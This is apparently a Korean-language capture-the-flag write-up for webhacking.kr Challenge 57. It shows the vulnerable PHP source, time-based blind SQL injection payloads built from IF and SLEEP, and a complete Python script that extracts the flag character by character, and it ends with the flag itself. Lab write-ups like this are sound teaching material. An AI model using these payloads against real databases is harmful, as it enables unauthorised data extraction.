취약점 분석
<?php
include "../../config.php";
include "./flag.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 57</title>
</head>
<body>
<?php
$db = dbconnect();
if($_GET['msg'] && isset($_GET['se'])){
$_GET['msg'] = addslashes($_GET['msg']);
$_GET['se'] = addslashes($_GET['se']);
if(preg_match("/select|and|or|not|&|\\||benchmark/i",$_GET['se'])) exit("Access Denied");
mysqli_query($db,"insert into chall57(id,msg,pw,op) values('{$_SESSION['id']}','{$_GET['msg']}','{$flag}',{$_GET['se']})");
echo "Done<br><br>";
if(rand(0,100) == 1) mysqli_query($db,"delete from chall57");
}
?>
<form method=get action=index.php>
<table border=0>
<tr><td>message</td><td><input name=msg size=50 maxlength=50></td></tr>
<tr><td>secret</td><td><input type=radio name=se value=1 checked>yes<br><br><input type=radio name=se value=0>no</td></tr>
<tr><td colspan=2 align=center><input type=submit></td></tr>
</table>
</form>
<br><br><a href=./?view_source=1>view-source</a>
</body>
</html>
SQL 부분만 따로 떼어보면
insert into chall57(id,msg,pw,op) values('{$_SESSION['id']}','{$_GET['msg']}','{$flag}',{$_GET['se']})
브라우저에 명확히 출력되는 값이 없으므로, 여기서 SQL Injection을 하려면 Blind SQLi를 써야한다.
pw값은 반드시 FLAG값으로 고정되어 있기 때문에, 다른 필드를 찾는다.
여러 시도를 해보다가, {$_GET['se']} 부분에 주목했다. 이 코드는 '{$_GET['msg']}'이 부분과 달리 작은 따옴표(')안에 있지 않다.
따라서 이 부분에는 SQL문을 넣을 수가 있는데, 여기에 sleep을 넣어보면, sleep함수에 설정한 시간만큼 응답이 지연된다.
10초 동안 응답이 지연되는 모습

따라서 이점을 이용해 Time Based Blind SQL Injection을 이용한다.
익스플로잇
IF(1=1, SLEEP(10), 1)
IF(1=2, SLEEP(10), 1)
이랬을 때 둘이 응답 시간이 차이난다는 것을 확인했다.
이렇게 SQL의 IF절과 SLEEP함수를 사용하여 FLAG값의 길이를 알아내고, 이어서 FLAG값을 한 글자 씩 알아내면 된다.
응답 시간의 차이를 이용한 Time Based Injection을 사용한다.
Payload Script
import requests
import string
import time
URL = 'https://webhacking.kr/challenge/web-34/index.php'
cookie = {'PHPSESSID':'iljpq4q17eci85orklkuqk2orj'}
# Find Length
pw_length = 1
while True:
param="?msg=asddas&se=IF(length(pw)={},sleep(10),1)".format(pw_length)
start = time.time()
r=requests.get(URL + param, cookies=cookie)
elapsed = time.time() - start
print("Try password length : " + str(pw_length))
if elapsed > 9:
print("password_length : " + str(pw_length))
break
else:
pw_length += 1
print("pw_length:{}".format(pw_length))
# Find Password
pw_length = 24
pw=""
for i in range(1, pw_length + 1):
found = False
for j in range(33,128):
param = f"?msg=x&se=IF(ASCII(SUBSTR(pw,{i},1))={j},SLEEP(5),1)"
start = time.time()
r=requests.get(URL + param, cookies=cookie)
elapsed = time.time() - start
if elapsed > 3: # threshold 3초 권장
pw += chr(j)
print(f"[+] found so far: {pw}")
found = True
break
if not found:
print(f"[!] no char found for position {i} (maybe row deleted by rand(0,100)==1)")
# retry logic recommended
break
print("pw:{}".format(pw))
# FLAG{y2u.be/kmPgjr0EL64}